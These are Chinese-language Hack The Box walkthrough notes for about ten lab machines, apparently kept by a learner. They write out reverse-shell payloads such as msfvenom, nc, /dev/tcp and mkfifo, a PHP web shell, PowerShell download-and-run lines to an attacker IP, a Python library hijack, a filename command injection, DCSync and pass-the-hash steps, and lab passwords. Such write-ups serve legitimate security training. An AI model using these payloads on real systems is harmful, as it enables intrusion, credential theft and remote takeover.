tabby

nmap scan

#### port explore 22 80:80是一个bootstrap themes搭起来的网站 8080:8080是一个tomcat部署成功的默认界面,尝试了默认密码没有成功 #### 目录扫描 先看80端口的readme表明是一个模板创建的,assets目录不允许访问,index.php/login好像也不能访问,80端口的news指向了一个megahosting.htb的域名,先将他的信息添加到/etc/hosts中,然后访问,得到一个信息是之前存在一个数据泄漏,但现在已经被移除了 看8080端口的页面,一个manage需要登录 #### get tomcat cred 根据之前的提示,我们可以尝试文件包含,确认存在文件包含漏洞 tomcat说users都被定义在/etc/tomcat9/tomcat-users.xml中 但是没有内容,在搜索后得出tomcat9的配置文件有两个 usr/share/tomcat9/etc/tomcat-users.xml是另一个配置文件存在的地方 得到用户名密码为tomcat-$3cureP4s5w0rd123! 该用户能登录到host-manager界面 rolename存在admin-gui和manager-script manager-scrript允许我们访问text-based web service located at /manager/text 尝试访问/manager/text/list 这样我们就拥有了部署war包的权限 使用msfvenom生成一个war `msfvenom -p java/shell_reverse_tcp lhost=10.10.14.4 lport=8888 -f war -o rev.10.10.14.4-8888.war` 传上去试一下 `curl -u 'tomcat:$3cureP4s5w0rd123!' http://10.10.10.194:8080/manager/text/deploy?path=/abc --upload-file rev.10.10.14.14-8888.war` 访问文件触发,获得了tomcat的权限 `python3 -c 'import pty;pty.spawn("bash")'`提升shell模式 在/var/www/html/files中有一个所有者是ash的backup文件 用nc把它拷到本地 ` cat 16162020_backup.zip | nc 10.10.14.4 9999 nc -lvnp 9999 > 16162020_backup.zip ` 用zip2john创建这个zip的hash `zip2john 16162020_backup.zip -o 16162020_backup.zip.john` 用john破解zip的密码 密码是admin@it 切换到ash #### root 先尝试sudo -l,发现没有 传一个linenum.sh上去 adm 权限可以读取log files #### lxd提权 创建一个容器挂载到root下面,然后就能够获得root的权限 目前该机器上并没有挂载容器 先下载一个container到本机 (LXD Alpina Linux image builder)[https://github.com/saghul/lxd-alpine-builder.git] 这个工具创建了一个LXD Alpina Linux container image 把生成的tar.gz传到靶机 接下来将该镜像导入lxc `lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias abcimage` `lxd init` `lxc init abcimage abccontainer -c security.privileged=true` `lxc config device add abccontainer abcdevice disk source=/ path=/mnt/root recursive=true` `lxc start abccontainer` `lxc exec abccontainer /bin/sh`

irked

nmap scan

#### port explore 22端口需要登录 80端口是一张图片 111端口可能是rpc服务 剩下的端口不知道干什么的 #### 目录扫描 扫到一个apache的手动目录 #### exploits searchsploit高端口的unrealircd,会发现几个可以利用的版本 直接去github上找一个同样的py脚本 查找user.txt发现在另一个使用者目录下,但是我们现在没有权限 #### shell as djmardov 在documents目录下存在一个.backup 先下载一个大图 steghide(命令行下的steg工具) ` extract - 提取数据 -sf irked.jpg - 抽取数据的目标 -p - 密码 ` 得到一个密码 试着用这个密码登录到djmardov 成功切换到该用户 #### shell as root 用ssh连接刚才的用户登录到目标机器 传一个linenum.sh到上面 在suid的文件中,有一个viewuser没见过 测试一下往/tmp/listusers里面echo id 命令能够成功执行 echo sh > /etc/listusers

bounty

nmap scan

#### port 只开放了一个80端口,是一张IIS7.5的图 #### 目录扫描 只有一个aspnet_client且这个目录是403的 用大字典再扫一次 writeup说存在一个transfer.aspx文件,但是我没扫到 #### 上传文件 试着传一个cmd.aspx到靶机,会被拦截 用%00进行截断上传,可以上传成功 尝试访问10.10.10.93/UploadedFiles/cmd.aspx,访问不了 搜索iis7.5 upload rce (链接)[https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/] 上传一个web.config 访问web.config会得到回显 准备反弹一个shell给本机 首先先下载一个(Nishang’s Invoke-PowerShellTcp.ps1)[https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1] 在最后添加一个反弹shell `Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.4 -Port 8888` 把web.config编辑成下列形式 在本地开一个http服务器准备传送文件,同时开启一个nc监听8888端口等待回弹shell 在merlin的文件夹中没有有用的信息 gci -force强制显示隐藏文件 #### root systeminfo MS15-051提权 ` (new-object net.webclient).downloadfile('http://10.10.14.4/lp.exe','C:\users\merlin\appdata\local\temp\lp.exe') (new-object net.webclient).downloadfile('http://10.10.14.4/rev.bat','C:\users\merlin\appdata\local\temp\rev.bat') ` (lonelypotato)[https://github.com/NotMedic/lonelypotato/tree/master/RottenPotatoEXE] `C:\users\merlin\appdata\local\temp\lp.exe * C:\users\merlin\appdata\local\temp\rev.bat`

openadmin

nmap scan

#### port explore 只开放了22和80端口 80端口是apache的默认界面 22端口无法匿名登录 #### 目录遍历 扫出两个页面,一个是music一个是ona opennetadmin显示是v18.1.1,searchsploit后发现有远程代码执行漏洞 在github上找一个利用脚本,成功获得www权限 #### user 用www权限可以发现存在两个用户jimmy和joanna 往目标机传一个linenum.sh试试 没有什么特别可以注意的 在local中的一个数据库配置文件里找到了数据库的密码 ` 'db_login' => 'ona_sys', 'db_passwd' => 'n1nj4W4rri0R!', 'db_database' => 'ona_default', ` 用数据库的密码尝试登录jimmy和joanna jimmy成功登上去了 但是jimmy的文件夹下是空的,要尝试换成joanna 在一个叫internal的文件夹里有几个页面 这里有一个密码 可以留意一下 `curl http://10.10.10.171/main.php`一无所获 查看本机开的端口,有一个52846 用curl去访问,得到一个加密的私钥 `ssh2john rsa > password.txt` `john -w=/usr/share/wordlists/rockyou.txt password.txt` 密码是bloodninjas 用ssh连joanna,发现bloodninjas并不是连接密码,是验证密码 `chmod 600 rsa` `ssh -i rsa joanna@10.10.10.171` joanna有一个用nano读priv的sudo权限 用nano读priv以后使用ctrl+R读取需要读得文件

postman

nmap scan

#### port explore 22端口不支持无用户名密码登录 80端口是一个静态页面 10000端口是一个登录页面 6379是redis,可能是入手点 #### 目录爆破 两个端口 80和10000 80端口扫出来一个upload界面,但是不知道如何上传 #### web root 尝试利用redis未授权漏洞 先使用telnet验证是否有密码验证 telnet 10.10.10.160 6379 我们可以创建一个ssh密钥连接,将公钥写入redis,用私钥连接 创建好了之后我们下一步就是准备将 它存储到内存之中。由于内存转储中也将包含垃圾,因此我们在密钥周围使用换行符,并且保存在foo.txt中,以便我们更好的守护我们的SSH密钥。 `(echo -e "\n\n"; cat keys.pub; echo -e "\n\n") > foo.txt` 使用redis-cli登录到redis查询他的目录 `config get dir` 将公钥写入redis目录 `cat foo.txt | redis-cli -h 10.10.10.160 -x set ssh_key` 已经成功写入公钥,下一步是配置公钥 获取Redis命令行-将密钥插入到内存之中 设置redis的dir目录 CONFIG SET dir /var/lib/redis/.ssh 设置dbfilename为authorized_keys config set dbfilename authorized_keys 退出该界面,用ssh登录 ssh -i keys redis@10.10.10.160 成功用redis连接 用history命令可以发现他查看过scan.py和id_rsa.bak id_rsa.bak是一个加密过的 用ssh2john破解该私钥 `ssh2john id_rsa.bak > hash.txt` `john -w=/usr/share/wordlists/rockyou.txt hash.txt` 破解出的密码为computer2008 尝试用这个帐号密码进行ssh登录 登录失败,用redis身份登录,查看/etc/ssh/sshd_config 发现Matt在deny user中 直接尝试su Matt,成功切换到Matt用户

root

先使用sudo -l查看是否存在matt可以直接运行的文件,发现没有
尝试用Matt-computer2008登录webmin,因为webmin用系统的登录凭证做用户名密码很常见

登录上去以后发现webmin的版本是1.91
用searchsploit搜索发现webmin1.910存在RCE,去github上搜索利用脚本
尝试使用,成功获得root身份

blunder

nmap scan

#### port scan 21和80端口 21端口拒绝连接 80端口是一个类似博客的界面 #### 目录扫描 admin界面需要登录 还存在一个todo.txt 里面提到了一个fergus #### bludit `cewl http://10.10.10.191 > wodlist` 用48942.py爆破,得到用户名为fergus,密码为RolandDeschain 登录成功以后 尝试用文件上传漏洞去反弹一个shell 成功获得一个初始shell权限为www-data #### user 先上传一个linenum.sh到目标机 没有找到什么特殊的文件 在/var/www/bludit-3.10.0a/bl-content/databases下可以找到hugo的登陆密码 用md5解密,得到密码是Password120 直接试试切换hugo #### root 先把脚本提升一下 python -c 'import pty;pty.spawn("/bin/bash")' 然后使用sudo -l 查看是否拥有特权 sudo -version 运行时sudo,您可以输入-u [user]以说明以哪个用户身份运行。您也可以在格式中输入用户作为数字 -u#[uid]。root 使用 id 0 漏洞是我可以输入用户 id -1,并将sudo其视为 root

forest

nmap scan

从已经获取的信息来看,这像一个AD域控 重点需要关注389,445和5985端口 5985应该是kerberos认证中最后一次要请求的http service

枚举域内用户及其密码

445端口一般是smb服务,所以可以尝试smbmap或smbclient进行枚举
smbmap -H 10.10.10.161
smbclient -N -L //10.10.10.161
均没有获得有用的信息

rpcclient -U “” -N 10.10.10.161
enumdomuser

enudomgroups

同时也能查询用户组和其中的用户
querygroup 0x200
querygroupmem 0x200

queryuser 0x1f4

将刚刚查询到的username存入username.txt
使用工具impacket爆破以上用户的hash

接着用hashcat爆破这个hash值
hashcat -m 18200 svc /usr/share/wordlists/rockyou.txt --force

得到密码为s3rvice
使用工具evil-winrm进行连接
evil-winrm -i 10.10.10.161 -u 'svc-alfresc' -p 's3rvice'

root

域内信息收集

使用sharphound进行信息收集
可以直接上传也能用目标机去主动下载
iex(new-object net.webclient).downloadstring("http://10.10.14.4/SharpHound.ps1")

接下来收集域内信息
import-module .\SharpHound.ps1
invoke-bloodhound -collectionmethod all -domain htb.local -ldapuser svc-alfresco -ldappass s3rvice

收集到的信息为一个zip文件
用本机开一个smbserver去接收这个zip并放到bloodhound里分析
从当前 svc-alfresco 的访问权限到 Domain Admins 组中的 Adminsitrator 需要两个步骤。
1)svc-alfresco 用户在 Service Account 中,它是 Privileged IT Account 的成员,它是 Account Operators 的成员,所以svc-alfresco 用户是 Account Operators 的成员,并且 Account Operators 对 Exchange Windows Permissions 组具有 Generic All 特权。
解释:Account Operators 组授予用户有限的帐户创建权限。该组的成员可以创建和修改大多数类型的帐户,包括用户、本地组和全局组的帐户,并且成员可以本地登录到域控制器。所以可以新建一个abc用户并加入 “Exchange Windows Permissions”组。
`
Evil-WinRM PS C:\Users\svc-alfresco\Desktop> net user abc abc123! /add /domain
The command completed successfully.

Evil-WinRM PS C:\Users\svc-alfresco\Desktop> net group “Exchange Windows Permissions” abc /add
The command completed successfully.
2) 组 EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL 的成员有权修改域 HTB.LOCAL 上的 DACL(自由访问控制列表)。通过对目标对象的 DACL 的写入访问权限,您可以授予对对象的任何所需权限。这里是为abc用户赋予DCSync权限,利用DCSync导出域内所有用户hash。
Evil-WinRM PS C:\Users\svc-alfresco\Desktop> $SecPassword = ConvertTo-SecureString ‘abc123!’ -AsPlain -Force
Evil-WinRM PS C:\Users\svc-alfresco\Desktop> $Cred = New-Object System.Management.Automation.PSCredential(‘htb\abc’, $SecPassword)

Evil-WinRM PS C:\Users\svc-alfresco\Documents> Import-Module .\PowerView.ps1
Evil-WinRM PS C:\Users\svc-alfresco\Documents> Add-DomainObjectAcl -PrincipalIdentity abc -Credential $Cred -Rights DCSync
`

域内用户hash值获取
impacket-secretsdump htb.local/abc@10.10.10.161

用wmiexe进行hash传递攻击
impacket-wmiexec htb.local/administrator@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

Admirer

nmap scan

#### ports 21端口不允许匿名登录 22端口不允许直接连接 #### dirsearch 在robots.txt中有一个额外的目录admin-dir 虽然我们没有权限访问,但是我们可以尝试扫二级目录 会扫到一个admin-dir/credentials.txt的二级目录里面有password [Internal mail account] w.cooper@admirer.htb fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!

目前我们只找到了一个ftp,可以尝试先从ftp下手
ftp里面有一个dump.sql和一个html的备份,下载下来看看
dump.sql看起来像是插入图片和描述的sql
在html.tar.gz里面的index.php中我们可以找到一个数据库的用户名和密码

$servername = "localhost" $username = "waldo" $password = "]F7jLHw:*G>UPrTo}~A"d6b"
在robots.txt中找到了另一个隐藏目录/w4ld0s_s3cr3t_d1r
可以尝试登录,在web上登不上去
去源码里找这个界面
有一个新的密码

[Bank Account]
waldo.11
Ezy]m27}OREc$

去访问admin_tasks.php可以看到一些功能

在db_admin.php里能找到另一套数据库密码
$servername = "localhost"; $username = "waldo"; $password = "Wh3r3_1s_w4ld0?";
再用dirsearch扫一遍目录
可以扫到adminer.php
但是所有的凭证都无法进行登录
在(Serious Vulnerability Discovered in Adminer database Administration Tool)[https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool]提到创建一个本地mysql用户可以远程连接到这个上面
首先要配置本地数据库
service mysql start
CREATE DATABASE admirer; # Create the database CREATE USER ‘adminer’@'%' IDENTIFIED BY ‘password’; # Create the user GRANT ALL PRIVILEGES ON *. *TO'adminer'@'%'; # Grants the created user full permissions FLUSH PRIVILEGES # Refreshes privileges create table test(data VARCHAR(255)); # Create a table in the database
之后修改/etc/mysql/mariadb.conf.d/50-server.cnf的bind-address为0.0.0.0
然后登录admirer
可以成功进行登录
在登录后使用下面一条语句把数据导入test表中
load data local infile'../index.php' into table test fields terminated by "/n"
在导入成功后可以找到mysql的密码

$servername = "localhost"; $username = "waldo"; $password = "&<h5b~yK3F#{PaPB&dA}{H>"; $dbname = "admirerdb";
可以成功进行登录

用新拿到的密码尝试ssh进行登录
可以登录进去

root

先sudo

这个脚本的所有者是SETENV
在备份网站的时候,该脚本调用了backup.py
说明backup.py是以root权限运行的

(python库劫持)[https://rastating.github.io/privilege-escalation-via-python-library-hijacking/]

该备份脚本用的是python3则可以键入
python3 -c "import sys; print('\n'.join(sys.path))"
结果会出现一个空行
该行会在运行时脚本所在的当前目录填进去
如果我们设置一个$PYTHONPATH
则运行上面一条命令时会把$PYTHONPATH先填进去

这说明python会先尝试寻找脚本所在目录然后是自己定义的目录然后尝试去导入shutil模块
找一个可写的目录
find / -type d -writable 2>/dev/null | grep -v -e '^/proc' -e '/run'
重写一个shutil.py
import os
def make_archive(a, b, c):
os.system(“nc 10.10.14.4 1234 -e’/bin/sh’”)

将脚本传到目标机的/var/tmp中
sudo PYTHONPATH=/var/tmp /opt/scripts/admin_tasks.sh 6得到反弹的shell

Networked

nmap scan

dirsearch

port 80

80端口只有一段文字
在源码里显示upload界面还未完成

代码审计

有两个比较关键的文件
一个是upload.php
一个是lib.php
lib.php中一共有6个函数,等会会在upload.php中被调用

    1. 第一个是检查上传的文件名称
      先按.切分
      然后将名字命名为第一部分
      然后把带有下划线的部分换成.
      然后把余下的数组进行还原
      返回一个name和一个用点隔开各单词的字符串
    1. 第二个是获取上传文件名
      内容和第一个一样
    1. 第三个是检查ip
      传进来一个perfix和一个文件名
      检查ip地址是否合法
    1. 第四个是特定功能的过滤
      首先是一个正则表达式
      以a-z开始后跟一个‘-’,接a-z,0-9接‘-’
      如果有finfo函数,就自己处理一下不返回原来应该返回的东西
      如果有mine_content_type函数也自己处理一下
    1. 第五个上检查文件类型
      用上面一个函数返回的文件类型匹配image
      匹配成功就返回true

upload.php
先检查文件类型和文件大小
只能传jpg,png,gif,jpeg

web

apache httpd中支持一个文件含有多个后缀,并为不同的后缀执行不同的命令
apache配置文件中如果添加了php对应的解析,则上传的文件只要包含.php就能执行
所以这里只要上传一个xxx.php.png,就能绕开过滤
把png文件用vim打开在中间插一句<?php system($_GET["cmd"]);?>
上传文件
成功上传并且能够显示命令
在传的文件后面跟?cmd=id会显示出相应的信息

反弹shell

?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 4444 >/tmp/f
?cmd=bash+-i+%3E%26+/dev/tcp/10.10.14.3/4444+0%3E%261

guly权限

在/home/guly里面有一个check_attack.php

还有一个计划任务脚本,每三分钟执行一次check_attack.php

如果能控制$path或者$value就能实现命令注入
check_attack.php会检查文件但是所有不以ip开头的文件都会跳过检查
在uploads文件夹里新建一个|nc -c bash 10.10.14.3 5555文件
等待程序执行
会收到一个shell是guly权限的

root

查看一下sudo列表会发现有一个sh脚本可以执行 尝试执行这个脚本会提示执行失败,但查看时确实存在该项 当输入空格分割的词汇时,会记录空格后的命令并尝试执行,可以尝试调一下/bin/bash 得到root权限

Buff

nmap scan

该机器开启了8080和7680端口 详细扫描

dirsearch

对目录进行扫描 存在upload界面和一个register界面 upload目前不允许访问 可以尝试先注册一个用户 注册界面也只允许admin进行访问

web

在网页上我们可以看到这个网站是由gym management system 搭起来的
尝试用searchsploit搜索

尝试直接用远程代码执行

获得了web的权限
但是发现只能在该目录下活动
尝试一下传一个nc上去

开一个smb服务器上传


用systeminfo配合windows-exploit-suggester查看一下

root

netstat -ano | findSTR TCP | findstr ":0"
使用上述命令查看架在本地端口的应用

有一个运行在127.0.0.1上的应用
tasklist /v | findstr 2564
通过上面这条命令查看这是什么应用
这里有点问题,但最后找到的进程应该是cloudme.exe


powershell -w hidden -noni -nop -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.3/chisel.exe','c.exe')"
用上述指令下载chisel.exe到windows上进行端口转发
kali上开一个简易的http服务器
python3 -m http.server 80
然后在两边进行端口映射

查看poc,该poc里给出了用msfvenom生成payload的方式

msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.14.20 LPORT=443 -b '\x00\x0A\x0D' -f python -v payload
在本地开启nc进行监听